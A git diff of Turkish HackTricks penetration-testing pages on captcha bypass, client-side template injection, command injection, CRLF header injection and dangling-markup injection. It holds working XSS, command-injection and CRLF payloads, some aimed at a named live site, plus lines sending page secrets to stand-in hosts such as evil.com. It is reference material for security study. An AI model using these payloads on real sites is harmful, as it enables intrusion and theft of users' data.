- **User-Agent ve Başlık Manipülasyonu**: Farklı tarayıcıları veya cihazları taklit etmek için User-Agent ve diğer istek başlıklarını değiştirin.
|
||||
- **Sesli Captcha Analizi**: Sesli captcha seçeneği mevcutsa, captcha'yı yorumlamak ve çözmek için konuşma metnine dönüştürme hizmetlerini kullanın.
|
||||
|
||||
@ -32,6 +32,8 @@ Captcha'yı **bypass** etmek için **sunucu testi** sırasında kullanıcı giri
|
||||
|
||||
[**CapSolver**](https://www.capsolver.com/?utm_source=google&utm_medium=ads&utm_campaign=scraping&utm_term=hacktricks&utm_content=captchabypass), çeşitli captcha türlerini otomatik olarak çözme konusunda uzmanlaşmış AI destekli bir hizmettir ve geliştiricilerin Web Scraping sırasında karşılaştıkları captcha zorluklarını kolayca aşmalarına yardımcı olarak veri toplama sürecini güçlendirir. **reCAPTCHA V2, reCAPTCHA V3, DataDome, AWS Captcha, Geetest ve Cloudflare turnstile gibi** captcha'ları destekler. Geliştiriciler için, captcha çözmeyi uygulamalara entegre etmeyi kolaylaştıran [**belgelerde**](https://docs.capsolver.com/?utm_source=github&utm_medium=banner_github&utm_campaign=fcsrv)**,** API entegrasyon seçenekleri sunar. Ayrıca, hizmetlerini doğrudan bir tarayıcı içinde kullanmayı kolaylaştıran [Chrome](https://chromewebstore.google.com/detail/captcha-solver-auto-captc/pgojnojmmhpofjgdmaebadhbocahppod) ve [Firefox](https://addons.mozilla.org/es/firefox/addon/capsolver-captcha-solver/) için tarayıcı uzantıları sağlarlar. Farklı ihtiyaçlara uyacak şekilde çeşitli fiyat paketleri mevcuttur, bu da kullanıcılara esneklik sağlar.
|
||||
|
||||
{% embed url="https://www.capsolver.com/?utm_campaign=scraping&utm_content=captchabypass&utm_medium=ads&utm_source=google&utm_term=hacktricks" %}
|
||||
{{#ref}}
|
||||
https://www.capsolver.com/?utm_campaign=scraping&utm_content=captchabypass&utm_medium=ads&utm_source=google&utm_term=hacktricks
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -2,7 +2,6 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Özet
|
||||
|
||||
Bu, **Server Side Template Injection** ile benzerlik gösterir ancak **istemci** tarafındadır. **SSTI**, uzaktaki sunucuda **kod çalıştırmanıza** izin verebilir, **CSTI** ise kurbanın tarayıcısında **rastgele JavaScript** kodu çalıştırmanıza izin verebilir.
|
||||
@ -22,10 +21,9 @@ Kullanıcı girdisinin `ng-app` ile etiketlenmiş HTML gövdesine dinamik olarak
|
||||
<!-- Google Research - AngularJS -->
|
||||
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
|
||||
```
|
||||
Çatışmanın çok **temel bir çevrimiçi örneğini** **AngularJS**'de [http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/) ve [**Burp Suite Academy**](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression) adresinde bulabilirsiniz.
|
||||
Çatışmanın çok **temel çevrimiçi örneğini** **AngularJS**'de [http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/) ve [**Burp Suite Academy**](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression) adresinde bulabilirsiniz.
|
||||
|
||||
> [!CAUTION]
|
||||
> [**Angular 1.6 kum havuzunu kaldırdı**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html) bu nedenle bu versiyondan itibaren `{{constructor.constructor('alert(1)')()}}` veya `<input ng-focus=$event.view.alert('XSS')>` gibi bir yük çalışmalıdır.
|
||||
> [!CAUTION] > [**Angular 1.6 kum havuzunu kaldırdı**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html) bu nedenle bu versiyondan itibaren `{{constructor.constructor('alert(1)')()}}` veya `<input ng-focus=$event.view.alert('XSS')>` gibi bir yük çalışmalıdır.
|
||||
|
||||
## VueJS
|
||||
|
||||
@ -73,7 +71,8 @@ javascript:alert(1)%252f%252f..%252fcss-images
|
||||
|
||||
## **Kaba Kuvvet Tespit Listesi**
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -2,16 +2,15 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Komut Enjeksiyonu Nedir?
|
||||
|
||||
Bir **komut enjeksiyonu**, bir saldırganın bir uygulamayı barındıran sunucuda keyfi işletim sistemi komutlarını çalıştırmasına izin verir. Sonuç olarak, uygulama ve tüm verileri tamamen tehlikeye girebilir. Bu komutların çalıştırılması genellikle saldırgana uygulamanın ortamına ve temel sisteme yetkisiz erişim veya kontrol sağlama imkanı tanır.
|
||||
Bir **komut enjeksiyonu**, bir saldırganın bir uygulamayı barındıran sunucuda rastgele işletim sistemi komutlarını çalıştırmasına izin verir. Sonuç olarak, uygulama ve tüm verileri tamamen tehlikeye girebilir. Bu komutların yürütülmesi genellikle saldırgana uygulamanın ortamına ve temel sisteme yetkisiz erişim veya kontrol sağlama imkanı tanır.
|
||||
|
||||
### Bağlam
|
||||
|
||||
**Girdiğiniz yerin nereye enjekte edildiğine** bağlı olarak, komutlardan önce **alıntı yapılan bağlamı sonlandırmanız** gerekebilir ( `"` veya `'` kullanarak).
|
||||
|
||||
## Komut Enjeksiyonu/Çalıştırma
|
||||
## Komut Enjeksiyonu/Yürütme
|
||||
```bash
|
||||
#Both Unix and Windows supported
|
||||
ls||id; ls ||id; ls|| id; ls || id # Execute both
|
||||
@ -120,7 +119,9 @@ powershell C:**2\n??e*d.*? # notepad
|
||||
|
||||
## Brute-Force Tespit Listesi
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt" %}
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt
|
||||
{{#endref}}
|
||||
|
||||
## Referanslar
|
||||
|
||||
|
@ -2,8 +2,6 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
### CRLF
|
||||
|
||||
Carriage Return (CR) ve Line Feed (LF), birlikte CRLF olarak bilinir, HTTP protokolünde bir satırın sonunu veya yenisinin başlangıcını belirtmek için kullanılan özel karakter dizileridir. Web sunucuları ve tarayıcılar, HTTP başlıkları ile bir yanıtın gövdesi arasında ayrım yapmak için CRLF kullanır. Bu karakterler, Apache ve Microsoft IIS gibi çeşitli web sunucu türleri arasında HTTP/1.1 iletişimlerinde evrensel olarak kullanılır.
|
||||
@ -16,7 +14,7 @@ CRLF enjeksiyonu, kullanıcı tarafından sağlanan girdiye CR ve LF karakterler
|
||||
|
||||
[Example from here](https://www.invicti.com/blog/web-security/crlf-http-header/)
|
||||
|
||||
Bir admin panelindeki log dosyasını düşünün; formatı: `IP - Zaman - Ziyaret Edilen Yol`. Tipik bir giriş şöyle görünebilir:
|
||||
Bir admin panelinde `IP - Zaman - Ziyaret Edilen Yol` formatını takip eden bir log dosyasını düşünün. Tipik bir giriş şöyle görünebilir:
|
||||
```
|
||||
123.123.123.123 - 08:15 - /index.php?page=home
|
||||
```
|
||||
@ -24,7 +22,7 @@ Bir saldırgan, bu günlüğü manipüle etmek için bir CRLF enjeksiyonunu kull
|
||||
```
|
||||
/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
|
||||
```
|
||||
Burada, `%0d` ve `%0a` CR ve LF'nin URL kodlu biçimlerini temsil eder. Saldırıdan sonra, günlük yanıltıcı bir şekilde şunu gösterecektir:
|
||||
Burada, `%0d` ve `%0a` CR ve LF'nin URL kodlu formlarını temsil eder. Saldırıdan sonra, günlük yanıltıcı bir şekilde şunu gösterecektir:
|
||||
```
|
||||
IP - Time - Visited Path
|
||||
|
||||
@ -37,7 +35,7 @@ Saldırgan, localhost'un (sunucu ortamında genellikle güvenilen bir varlık) e
|
||||
|
||||
#### Açıklama
|
||||
|
||||
HTTP Yanıt Bölme, bir saldırganın HTTP yanıtlarının yapısını istismar etmesi durumunda ortaya çıkan bir güvenlik açığıdır. Bu yapı, başlıkları gövde kısmından ayıran belirli bir karakter dizisi kullanır; bu dizinin adı, Carriage Return (CR) ve ardından Line Feed (LF) olarak adlandırılır ve birlikte CRLF olarak anılır. Bir saldırgan, bir yanıt başlığına CRLF dizisi eklemeyi başarırsa, sonraki yanıt içeriğini etkili bir şekilde manipüle edebilir. Bu tür bir manipülasyon, özellikle Cross-site Scripting (XSS) gibi ciddi güvenlik sorunlarına yol açabilir.
|
||||
HTTP Yanıt Bölme, bir saldırganın HTTP yanıtlarının yapısını istismar etmesiyle ortaya çıkan bir güvenlik açığıdır. Bu yapı, başlıkları gövde kısmından ayıran belirli bir karakter dizisi kullanır; bu dizinin adı Carriage Return (CR) ve Line Feed (LF) olarak bilinir ve birlikte CRLF olarak adlandırılır. Bir saldırgan, bir yanıt başlığına bir CRLF dizisi eklemeyi başarırsa, sonraki yanıt içeriğini etkili bir şekilde manipüle edebilir. Bu tür bir manipülasyon, özellikle Cross-site Scripting (XSS) gibi ciddi güvenlik sorunlarına yol açabilir.
|
||||
|
||||
#### HTTP Yanıt Bölme ile XSS
|
||||
|
||||
@ -55,7 +53,7 @@ Tarayıcıya:
|
||||
```
|
||||
/%0d%0aLocation:%20http://myweb.com
|
||||
```
|
||||
Ve sunucu şu başlıkla yanıt veriyor:
|
||||
Ve sunucu şu başlıkla yanıt verir:
|
||||
```
|
||||
Location: http://myweb.com
|
||||
```
|
||||
@ -70,13 +68,13 @@ Yükü **URL yolunun içinde** göndererek sunucudan **yanıtı** kontrol edebil
|
||||
http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
|
||||
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
|
||||
```
|
||||
Daha fazla örnek için kontrol edin:
|
||||
|
||||
{% embed url="https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md" %}
|
||||
{{#ref}}
|
||||
https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md
|
||||
{{#endref}}
|
||||
|
||||
### HTTP Header Injection
|
||||
|
||||
HTTP Header Injection, genellikle CRLF (Carriage Return and Line Feed) enjeksiyonu aracılığıyla istismar edilen, saldırganların HTTP başlıkları eklemesine olanak tanır. Bu, XSS (Cross-Site Scripting) filtreleri veya SOP (Same-Origin Policy) gibi güvenlik mekanizmalarını zayıflatabilir ve bu da CSRF tokenları gibi hassas verilere yetkisiz erişim veya çerez yerleştirme yoluyla kullanıcı oturumlarının manipülasyonu ile sonuçlanabilir.
|
||||
HTTP Header Injection, genellikle CRLF (Carriage Return and Line Feed) enjeksiyonu aracılığıyla istismar edilen, saldırganların HTTP başlıkları eklemesine olanak tanır. Bu, XSS (Cross-Site Scripting) filtreleri veya SOP (Same-Origin Policy) gibi güvenlik mekanizmalarını zayıflatabilir ve potansiyel olarak CSRF tokenları gibi hassas verilere yetkisiz erişim veya çerez yerleştirme yoluyla kullanıcı oturumlarının manipülasyonuna yol açabilir.
|
||||
|
||||
#### HTTP Header Injection ile CORS'u İstismar Etme
|
||||
|
||||
@ -84,7 +82,7 @@ Bir saldırgan, SOP tarafından dayatılan kısıtlamaları aşarak CORS (Cross-
|
||||
|
||||
#### CRLF Aracılığıyla SSRF ve HTTP Request Injection
|
||||
|
||||
CRLF enjeksiyonu, tamamen yeni bir HTTP isteği oluşturmak ve enjekte etmek için kullanılabilir. Bunun dikkat çekici bir örneği, PHP'nin `SoapClient` sınıfındaki, özellikle `user_agent` parametresindeki zayıflıktır. Bu parametreyi manipüle ederek, bir saldırgan ek başlıklar ve gövde içeriği ekleyebilir veya hatta tamamen yeni bir HTTP isteği enjekte edebilir. Aşağıda bu istismarı gösteren bir PHP örneği bulunmaktadır:
|
||||
CRLF enjeksiyonu, tamamen yeni bir HTTP isteği oluşturmak ve enjekte etmek için kullanılabilir. Bunun dikkat çekici bir örneği, PHP'nin `SoapClient` sınıfındaki zayıflıktır, özellikle `user_agent` parametresi içinde. Bu parametreyi manipüle ederek, bir saldırgan ek başlıklar ve gövde içeriği ekleyebilir veya hatta tamamen yeni bir HTTP isteği enjekte edebilir. Aşağıda bu istismarı gösteren bir PHP örneği bulunmaktadır:
|
||||
```php
|
||||
$target = 'http://127.0.0.1:9090/test';
|
||||
$post_string = 'variable=post value';
|
||||
@ -125,7 +123,7 @@ Sonrasında, ikinci bir isteğin belirtilmesi mümkündür. Bu senaryo genellikl
|
||||
|
||||
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1`
|
||||
|
||||
2. **Yanıt Kuyruğu Zehirleme için Bir Ön Ek Oluşturma**: Bu yaklaşım, son junk ile birleştirildiğinde tam bir ikinci isteği oluşturan bir ön ek yaratmayı içerir. Bu, yanıt kuyruğu zehirlemesini tetikleyebilir. Bir örnek:
|
||||
2. **Yanıt Kuyruğu Zehirleme için Bir Ön Ek Oluşturma**: Bu yaklaşım, ardışık gereksiz verilerle birleştirildiğinde tam bir ikinci isteği oluşturan bir ön ek yaratmayı içerir. Bu, yanıt kuyruğu zehirlenmesini tetikleyebilir. Bir örnek:
|
||||
|
||||
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1`
|
||||
|
||||
@ -137,25 +135,25 @@ Memcache, **açık metin protokolü kullanan bir anahtar-değer deposudur**. Dah
|
||||
../network-services-pentesting/11211-memcache/
|
||||
{{#endref}}
|
||||
|
||||
**Tam bilgi için**[ **orijinal yazıyı okuyun**](https://www.sonarsource.com/blog/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/)
|
||||
**Tam bilgi için**[ **orijinal yazıyı**](https://www.sonarsource.com/blog/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/) **okuyun**
|
||||
|
||||
Eğer bir platform, **bir HTTP isteğinden veri alıyor ve bunu temizlemeden** **memcache** sunucusuna **istekler** yapmak için kullanıyorsa, bir saldırgan bu davranışı **yeni memcache komutları enjekte etmek için** kötüye kullanabilir.
|
||||
|
||||
Örneğin, keşfedilen orijinal zafiyette, önbellek anahtarları, bir kullanıcının bağlanması gereken IP ve portu döndürmek için kullanıldı ve saldırganlar, **önbelleği zehirleyecek memcache komutları enjekte edebildiler**; bu da **kurbanların bilgilerini** (kullanıcı adları ve şifreler dahil) saldırgan sunuculara göndermelerine neden oldu:
|
||||
Örneğin, keşfedilen orijinal zafiyette, önbellek anahtarları, bir kullanıcının bağlanması gereken IP ve portu döndürmek için kullanıldı ve saldırganlar, **kurbanların ayrıntılarını** (kullanıcı adları ve şifreler dahil) saldırgan sunucularına **gönderecek şekilde memcache komutları enjekte edebildiler:
|
||||
|
||||
<figure><img src="../images/image (659).png" alt="https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/ba72cd16-2ca0-447b-aa70-5cde302a0b88/body-578d9f9f-1977-4e34-841c-ad870492328f_10.png?w=1322&h=178&auto=format&fit=crop"><figcaption></figcaption></figure>
|
||||
|
||||
Ayrıca, araştırmacılar, saldırganın bilmediği kullanıcıların e-postalarına saldırganın IP ve portlarını göndermek için memcache yanıtlarını senkronize edemeyeceklerini de keşfettiler:
|
||||
Ayrıca, araştırmacılar, saldırganın bilmediği kullanıcıların e-posta adreslerine saldırganın IP ve portlarını göndermek için memcache yanıtlarını senkronize edemeyeceklerini de keşfettiler:
|
||||
|
||||
<figure><img src="../images/image (637).png" alt="https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/c6c1f3c4-d244-4bd9-93f7-2c88f139acfa/body-3f9ceeb9-3d6b-4867-a23f-e0e50a46a2e9_14.png?w=1322&h=506&auto=format&fit=crop"><figcaption></figcaption></figure>
|
||||
|
||||
### Web Uygulamalarında CRLF / HTTP Başlık Enjeksiyonlarını Önleme
|
||||
|
||||
Web uygulamalarında CRLF (Carriage Return ve Line Feed) veya HTTP Başlık Enjeksiyonlarının risklerini azaltmak için aşağıdaki stratejiler önerilmektedir:
|
||||
Web uygulamalarında CRLF (Carriage Return and Line Feed) veya HTTP Başlık Enjeksiyonları risklerini azaltmak için aşağıdaki stratejiler önerilmektedir:
|
||||
|
||||
1. **Yanıt Başlıklarında Doğrudan Kullanıcı Girdisinden Kaçının:** En güvenli yaklaşım, kullanıcı tarafından sağlanan girdileri doğrudan yanıt başlıklarına dahil etmemektir.
|
||||
2. **Özel Karakterleri Kodlayın:** Doğrudan kullanıcı girdisinden kaçınmak mümkün değilse, CR (Carriage Return) ve LF (Line Feed) gibi özel karakterleri kodlamak için özel bir işlev kullanıldığından emin olun. Bu uygulama, CRLF enjeksiyon olasılığını önler.
|
||||
3. **Programlama Dilini Güncelleyin:** Web uygulamalarınızda kullanılan programlama dilini düzenli olarak en son sürüme güncelleyin. HTTP başlıklarını ayarlamakla görevli işlevlerde CR ve LF karakterlerinin enjekte edilmesine doğal olarak izin vermeyen bir sürüm seçin.
|
||||
2. **Özel Karakterleri Kodlayın:** Doğrudan kullanıcı girdisinden kaçınmak mümkün değilse, CR (Carriage Return) ve LF (Line Feed) gibi özel karakterleri kodlamak için özel bir işlev kullanıldığından emin olun. Bu uygulama, CRLF enjeksiyonu olasılığını önler.
|
||||
3. **Programlama Dilini Güncelleyin:** Web uygulamalarınızda kullanılan programlama dilini düzenli olarak en son sürüme güncelleyin. HTTP başlıklarını ayarlamakla görevli işlevler içinde CR ve LF karakterlerinin enjekte edilmesine doğal olarak izin vermeyen bir sürüm seçin.
|
||||
|
||||
### CHEATSHEET
|
||||
|
||||
@ -186,7 +184,7 @@ Web uygulamalarında CRLF (Carriage Return ve Line Feed) veya HTTP Başlık Enje
|
||||
- [https://github.com/Raghavd3v/CRLFsuite](https://github.com/Raghavd3v/CRLFsuite)
|
||||
- [https://github.com/dwisiswant0/crlfuzz](https://github.com/dwisiswant0/crlfuzz)
|
||||
|
||||
## Kaba Güç Tespit Listesi
|
||||
## Brute-Force Tespit Listesi
|
||||
|
||||
- [https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/crlf.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/crlf.txt)
|
||||
|
||||
@ -197,6 +195,4 @@ Web uygulamalarında CRLF (Carriage Return ve Line Feed) veya HTTP Başlık Enje
|
||||
- [**https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning)
|
||||
- [**https://www.netsparker.com/blog/web-security/crlf-http-header/**](https://www.netsparker.com/blog/web-security/crlf-http-header/)
|
||||
|
||||
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## Özeti
|
||||
|
||||
Bu teknik, bir **HTML injection bulunduğunda** bir kullanıcıdan bilgi çıkarmak için kullanılabilir. Bu, **bir şekilde istismar edecek bir yol bulamazsanız** [**XSS** ](../xss-cross-site-scripting/) ama **bazı HTML etiketleri enjekte edebiliyorsanız** çok faydalıdır.\
|
||||
Bu teknik, bir **HTML injection bulunduğunda** bir kullanıcıdan bilgi çıkarmak için kullanılabilir. Bu, **bir şekilde istismar edecek bir yol bulamazsanız** çok faydalıdır [**XSS** ](../xss-cross-site-scripting/) ama **bazı HTML etiketleri enjekte edebiliyorsanız**.\
|
||||
Ayrıca, HTML'de **açık metin olarak saklanan bazı sırlar** varsa ve bunları istemciden **sızdırmak** istiyorsanız veya bazı script yürütmelerini yanıltmak istiyorsanız da faydalıdır.
|
||||
|
||||
Burada yorumlanan birkaç teknik, bilgiyi beklenmedik yollarla (html etiketleri, CSS, http-meta etiketleri, formlar, base...) sızdırarak bazı [**Content Security Policy**](../content-security-policy-csp-bypass/) engellerini aşmak için kullanılabilir.
|
||||
@ -13,7 +13,7 @@ Burada yorumlanan birkaç teknik, bilgiyi beklenmedik yollarla (html etiketleri,
|
||||
|
||||
### Açık metin sırlarını çalmak
|
||||
|
||||
Sayfa yüklendiğinde `<img src='http://evil.com/log.cgi?` enjekte ederseniz, kurban size enjekte edilen `img` etiketi ile kod içindeki bir sonraki alıntı arasındaki tüm kodu gönderecektir. Eğer o parçanın içinde bir sır varsa, onu çalacaksınız (aynı şeyi çift tırnak kullanarak da yapabilirsiniz, hangisinin daha ilginç olabileceğine bakın).
|
||||
Sayfa yüklendiğinde `<img src='http://evil.com/log.cgi?` enjekte ederseniz, kurban size enjekte edilen `img` etiketi ile kod içindeki bir sonraki alıntı arasındaki tüm kodu gönderecektir. Eğer o parçanın içinde bir sır varsa, onu çalacaksınız (aynı şeyi çift alıntı kullanarak da yapabilirsiniz, hangisinin daha ilginç olabileceğine bakın).
|
||||
|
||||
Eğer `img` etiketi yasaksa (örneğin CSP nedeniyle) `<meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?` kullanabilirsiniz.
|
||||
```html
|
||||
@ -32,12 +32,12 @@ Ayrıca **`<table`** kullanabilirsiniz:
|
||||
```html
|
||||
<table background='//your-collaborator-id.burpcollaborator.net?'
|
||||
```
|
||||
Bir `<base` etiketi de ekleyebilirsiniz. Tüm bilgiler alıntı kapatılana kadar gönderilecektir ancak bazı kullanıcı etkileşimleri gerektirir (kullanıcının bir bağlantıya tıklaması gerekir, çünkü base etiketi bağlantının işaret ettiği alan adını değiştirecektir):
|
||||
Bir `<base` etiketi de ekleyebilirsiniz. Tüm bilgiler alıntı kapatılana kadar gönderilecektir, ancak bu bazı kullanıcı etkileşimleri gerektirir (kullanıcının bir bağlantıya tıklaması gerekir, çünkü base etiketi bağlantının işaret ettiği alan adını değiştirmiş olacaktır):
|
||||
```html
|
||||
<base target=' <--- Injected
|
||||
steal me'<b>test</b>
|
||||
```
|
||||
### Formları Çalmak
|
||||
### Formları Çalma
|
||||
```html
|
||||
<base href="http://evil.com/" />
|
||||
```
|
||||
@ -86,11 +86,11 @@ Bir formun yolunu değiştirebilir ve beklenmedik bir eylemin gerçekleştirilme
|
||||
</form>
|
||||
</form>
|
||||
```
|
||||
### Noscript aracılığıyla açık metin sırlarını çalmak
|
||||
### Noscript aracılığıyla düz metin sırlarını çalmak
|
||||
|
||||
`<noscript></noscript>` Tarayıcının javascript'i desteklemediği durumlarda içeriği yorumlanacak bir etikettir (Javascript'i Chrome'da [chrome://settings/content/javascript](chrome://settings/content/javascript) adresinden etkinleştirebilir/devre dışı bırakabilirsiniz).
|
||||
|
||||
Bir saldırganın kontrolündeki bir siteye, enjeksiyon noktasından sayfanın altına kadar içeriği dışarı aktarmanın bir yolu, bunu enjekte etmektir:
|
||||
Bir saldırganın kontrolündeki bir siteye, enjeksiyon noktasından sayfanın en altına kadar içeriği dışarı aktarmanın bir yolu, bunu enjekte etmektir:
|
||||
```html
|
||||
<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>
|
||||
```
|
||||
@ -101,7 +101,7 @@ Bu [portswiggers araştırmasından](https://portswigger.net/research/evading-cs
|
||||
<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
|
||||
<base target='
|
||||
```
|
||||
Not edin ki **kurban**dan **bir bağlantıya** **tıklamasını** isteyeceksiniz, bu bağlantı onu sizin kontrolünüzdeki **payload**'a **yönlendirecek**. Ayrıca, **`base`** etiketinin içindeki **`target`** niteliğinin bir sonraki tek tırnak işaretine kadar **HTML içeriği** içereceğini unutmayın.\
|
||||
Not edin ki **kurban**dan **bir bağlantıya** **tıklamasını** isteyeceksiniz, bu bağlantı onu sizin kontrolünüzdeki **payload**'a **yönlendirecektir**. Ayrıca, **`base`** etiketinin içindeki **`target`** niteliğinin bir sonraki tek tırnak işaretine kadar **HTML içeriği** içereceğini unutmayın.\
|
||||
Bu, bağlantıya tıklanırsa **`window.name`** değerinin tüm o **HTML içeriği** olacağı anlamına gelir. Bu nedenle, kurbanın bağlantıya tıklayarak eriştiği **sayfayı** kontrol ettiğiniz için, o **`window.name`**'e erişebilir ve bu veriyi **exfiltrate** edebilirsiniz:
|
||||
```html
|
||||
<script>
|
||||
@ -132,7 +132,7 @@ AM_PUBLIC; ← Condition always evaluates to true ... }
|
||||
```
|
||||
### JSONP'nin Suistimali
|
||||
|
||||
Eğer bir JSONP arayüzü bulursanız, rastgele bir fonksiyonu rastgele verilerle çağırma imkanınız olabilir:
|
||||
Eğer bir JSONP arayüzü bulursanız, rastgele verilerle rastgele bir fonksiyonu çağırma imkanınız olabilir:
|
||||
```html
|
||||
<script src='/editor/sharing.js'>: ← Legitimate script
|
||||
function set_sharing(public) {
|
||||
@ -150,7 +150,7 @@ Ya da bazı javascript'leri çalıştırmayı deneyebilirsiniz:
|
||||
```
|
||||
### Iframe istismarı
|
||||
|
||||
Bir çocuk belge, ebeveyninin `location` özelliğini görüntüleme ve değiştirme yeteneğine sahiptir, hatta çapraz köken durumlarında bile. Bu, bir **iframe** içinde, istemciyi keyfi bir sayfaya yönlendirebilen bir script yerleştirilmesine olanak tanır:
|
||||
Bir çocuk belge, ebeveyninin `location` özelliğini görüntüleme ve değiştirme yeteneğine sahiptir, hatta çapraz köken durumlarında bile. Bu, bir **iframe** içinde bir betik yerleştirilmesine ve istemcinin rastgele bir sayfaya yönlendirilmesine olanak tanır:
|
||||
```html
|
||||
<html>
|
||||
<head></head>
|
||||
@ -161,7 +161,7 @@ top.window.location = "https://attacker.com/hacked.html"
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
Bu, `sandbox=' allow-scripts allow-top-navigation'` gibi bir şeyle hafifletilebilir.
|
||||
Bunu şu şekilde hafifletebilirsiniz: `sandbox=' allow-scripts allow-top-navigation'`
|
||||
|
||||
Bir iframe, **iframe ad özniteliğini** kullanarak farklı bir sayfadan hassas bilgileri sızdırmak için de kötüye kullanılabilir. Bunun nedeni, kendisini iframe'leyen bir iframe oluşturabilmenizdir; bu, **hassas bilgilerin iframe ad özniteliği içinde görünmesini** sağlayan HTML enjeksiyonunu kötüye kullanır ve ardından o adı başlangıç iframe'inden alıp sızdırabilirsiniz.
|
||||
```html
|
||||
@ -176,24 +176,24 @@ setTimeout(() => alert(win[0].name), 500)
|
||||
src="//subdomain1.portswigger-labs.net/bypassing-csp-with-dangling-iframes/target.php?email=%22><iframe name=%27"
|
||||
onload="cspBypass(this.contentWindow)"></iframe>
|
||||
```
|
||||
Daha fazla bilgi için [https://portswigger.net/research/bypassing-csp-with-dangling-iframes](https://portswigger.net/research/bypassing-csp-with-dangling-iframes) adresine bakın.
|
||||
For more info check [https://portswigger.net/research/bypassing-csp-with-dangling-iframes](https://portswigger.net/research/bypassing-csp-with-dangling-iframes)
|
||||
|
||||
### \<meta istismarı
|
||||
### \<meta abuse
|
||||
|
||||
**`meta http-equiv`** kullanarak **birçok işlem** gerçekleştirebilirsiniz, örneğin bir Çerez ayarlamak: `<meta http-equiv="Set-Cookie" Content="SESSID=1">` veya bir yönlendirme yapmak (bu durumda 5 saniye içinde): `<meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />`
|
||||
**`meta http-equiv`** kullanarak **birçok işlem** gerçekleştirebilirsiniz, örneğin bir Cookie ayarlamak: `<meta http-equiv="Set-Cookie" Content="SESSID=1">` veya bir yönlendirme yapmak (bu durumda 5 saniye içinde): `<meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />`
|
||||
|
||||
Bu, **http-equiv** ile ilgili bir **CSP** ile **önlenebilir** ( `Content-Security-Policy: default-src 'self';`, veya `Content-Security-Policy: http-equiv 'self';`)
|
||||
|
||||
### Yeni \<portal HTML etiketi
|
||||
### Yeni \<portal HTML tag
|
||||
|
||||
\<portal etiketinin istismar edilebilir zayıflıkları hakkında çok **ilginç bir araştırma** bulabilirsiniz [burada](https://research.securitum.com/security-analysis-of-portal-element/).\
|
||||
\<portal etiketi ile istismar edilebilir güvenlik açıkları hakkında çok **ilginç bir araştırma** bulabilirsiniz [burada](https://research.securitum.com/security-analysis-of-portal-element/).\
|
||||
Bu yazının yazıldığı anda, portal etiketini Chrome'da `chrome://flags/#enable-portals` adresinden etkinleştirmeniz gerekiyor, aksi takdirde çalışmayacaktır.
|
||||
```html
|
||||
<portal src='https://attacker-server?
|
||||
```
|
||||
### HTML Sızıntıları
|
||||
|
||||
HTML'de bağlantı sızdırmanın tüm yolları Dangling Markup için faydalı olmayabilir, ancak bazen yardımcı olabilir. Buradan kontrol edin: [https://github.com/cure53/HTTPLeaks/blob/master/leak.html](https://github.com/cure53/HTTPLeaks/blob/master/leak.html)
|
||||
